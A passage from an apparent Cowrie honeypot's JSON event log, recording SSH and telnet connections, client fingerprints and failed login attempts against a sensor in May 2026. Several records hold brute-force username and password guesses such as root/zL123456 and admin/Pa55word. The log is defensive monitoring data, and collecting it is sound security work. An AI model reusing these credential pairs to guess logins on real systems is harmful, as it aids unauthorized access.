af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:17.702998Z","src_ip":"103.176.20.115","session":"9f10df753901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.2463493347168,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:18.600632Z","src_ip":"38.54.119.93","session":"1671d6b33291","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zL123456","message":"login attempt [root/zL123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:18.718861Z","src_ip":"103.176.20.115","session":"9f10df753901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:19.968685Z","src_ip":"103.176.20.115","session":"9f10df753901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.11447191238403,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:36.943289Z","src_ip":"38.54.119.93","session":"af2a90e60759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52046,"dst_ip":"159.203.135.109","dst_port":23,"session":"676aac259c75","protocol":"telnet","message":"New connection: 192.211.53.160:52046 (159.203.135.109:23) [session: 676aac259c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:38.823878Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45820,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd5b270d232","protocol":"telnet","message":"New connection: 165.232.131.181:45820 (10.17.0.5:23) [session: cbd5b270d232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:40.602879Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53010,"dst_ip":"159.203.135.109","dst_port":23,"session":"13778c9de49f","protocol":"telnet","message":"New connection: 192.211.53.160:53010 (159.203.135.109:23) [session: 13778c9de49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:41.406613Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53204,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7fa7fa6cee","protocol":"telnet","message":"New connection: 192.211.53.160:53204 (159.203.135.109:23) [session: ec7fa7fa6cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:42.002737Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d761949c9013","protocol":"telnet","message":"New connection: 192.211.53.160:52054 (159.203.135.109:23) [session: d761949c9013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:44.872035Z"}
{"eventid":"cowrie.session.closed","duration":0.17099595069885254,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:45.042879Z","src_ip":"192.211.53.160","session":"d761949c9013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":54870,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27ceb7f6298","protocol":"telnet","message":"New connection: 192.211.53.160:54870 (159.203.135.109:23) [session: b27ceb7f6298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:57:49.361672Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":63942,"dst_ip":"10.17.0.5","dst_port":22,"session":"d91e6000a0d8","protocol":"ssh","message":"New connection: 94.156.152.18:63942 (10.17.0.5:22) [session: d91e6000a0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.342935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.347768Z","src_ip":"94.156.152.18","session":"d91e6000a0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.482263Z","src_ip":"94.156.152.18","session":"d91e6000a0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":50330,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f00205783e8","protocol":"ssh","message":"New connection: 20.203.42.204:50330 (159.203.135.109:22) [session: 8f00205783e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.624550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.630037Z","src_ip":"20.203.42.204","session":"8f00205783e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.797649Z","src_ip":"20.203.42.204","session":"8f00205783e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU16GBAMD","message":"login attempt [root/XYZZ#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:08.886602Z","src_ip":"94.156.152.18","session":"d91e6000a0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdf1234","message":"login attempt [deploy/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:09.523562Z","src_ip":"20.203.42.204","session":"8f00205783e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42574,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b159e109b88","protocol":"ssh","message":"New connection: 60.199.224.2:42574 (159.203.135.109:22) [session: 6b159e109b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:09.755167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:09.759731Z","src_ip":"60.199.224.2","session":"6b159e109b88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:09.959260Z","src_ip":"60.199.224.2","session":"6b159e109b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:10.023119Z","src_ip":"94.156.152.18","session":"d91e6000a0d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:10.716337Z","src_ip":"20.203.42.204","session":"8f00205783e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa55word","message":"login attempt [admin/Pa55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:10.787557Z","src_ip":"60.199.224.2","session":"6b159e109b88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":59932,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec58ded4418a","protocol":"ssh","message":"New connection: 61.72.55.130:59932 (159.203.135.109:22) [session: ec58ded4418a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:11.202913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:11.207405Z","src_ip":"61.72.55.130","session":"ec58ded4418a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:11.413902Z","src_ip":"61.72.55.130","session":"ec58ded4418a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:11.989738Z","src_ip":"60.199.224.2","session":"6b159e109b88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123456789","message":"login attempt [ubuntu/root123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:12.272974Z","src_ip":"61.72.55.130","session":"ec58ded4418a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:13.482814Z","src_ip":"61.72.55.130","session":"ec58ded4418a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":32868,"dst_ip":"10.17.0.5","dst_port":23,"session":"10113a13c634","protocol":"telnet","message":"New connection: 38.54.119.93:32868 (10.17.0.5:23) [session: 10113a13c634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:14.949534Z"}
{"eventid":"cowrie.session.closed","duration":36.56881761550903,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:15.392542Z","src_ip":"192.211.53.160","session":"676aac259c75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":53276,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a930e91c44","protocol":"ssh","message":"New connection: 103.176.20.115:53276 (10.17.0.5:22) [session: 41a930e91c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:18.210532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:18.215261Z","src_ip":"103.176.20.115","session":"41a930e91c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:18.477442Z","src_ip":"103.176.20.115","session":"41a930e91c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.513103008270264,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:19.515714Z","src_ip":"192.211.53.160","session":"ec7fa7fa6cee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tm123456","message":"login attempt [root/Tm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:19.558195Z","src_ip":"103.176.20.115","session":"41a930e91c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.910473108291626,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:20.316950Z","src_ip":"192.211.53.160","session":"13778c9de49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:20.820813Z","src_ip":"103.176.20.115","session":"41a930e91c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a513bc318af5","protocol":"telnet","message":"New connection: 45.81.23.16:45934 (10.17.0.5:23) [session: a513bc318af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:20.894476Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45940,"dst_ip":"10.17.0.5","dst_port":23,"session":"e76d2b2e9e9f","protocol":"telnet","message":"New connection: 45.81.23.16:45940 (10.17.0.5:23) [session: e76d2b2e9e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:21.207261Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45944,"dst_ip":"10.17.0.5","dst_port":23,"session":"e762c3ebc141","protocol":"telnet","message":"New connection: 45.81.23.16:45944 (10.17.0.5:23) [session: e762c3ebc141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:21.706302Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":45946,"dst_ip":"10.17.0.5","dst_port":23,"session":"787f1c0d49fd","protocol":"telnet","message":"New connection: 45.81.23.16:45946 (10.17.0.5:23) [session: 787f1c0d49fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:22.661661Z"}
{"eventid":"cowrie.session.closed","duration":44.62286686897278,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:25.225636Z","src_ip":"165.232.131.181","session":"cbd5b270d232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.181218147277832,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:27.388397Z","src_ip":"45.81.23.16","session":"e76d2b2e9e9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.833760976791382,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:27.495247Z","src_ip":"45.81.23.16","session":"787f1c0d49fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.952764272689819,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:29.658766Z","src_ip":"45.81.23.16","session":"e762c3ebc141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.47738170623779,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:29.838922Z","src_ip":"192.211.53.160","session":"b27ceb7f6298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62690,"dst_ip":"10.17.0.5","dst_port":23,"session":"067ec99d46c4","protocol":"telnet","message":"New connection: 181.189.73.151:62690 (10.17.0.5:23) [session: 067ec99d46c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:32.240314Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62743,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e8230870d7c","protocol":"telnet","message":"New connection: 181.189.73.151:62743 (10.17.0.5:23) [session: 5e8230870d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:32.907857Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38048,"dst_ip":"10.17.0.5","dst_port":23,"session":"044bd40d20a8","protocol":"telnet","message":"New connection: 65.60.27.33:38048 (10.17.0.5:23) [session: 044bd40d20a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:58:49.508711Z"}
{"eventid":"cowrie.session.closed","duration":50.7961905002594,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:05.745582Z","src_ip":"38.54.119.93","session":"10113a13c634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42590,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afdebe24121","protocol":"ssh","message":"New connection: 60.199.224.2:42590 (159.203.135.109:22) [session: 5afdebe24121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:09.049803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:09.054587Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exc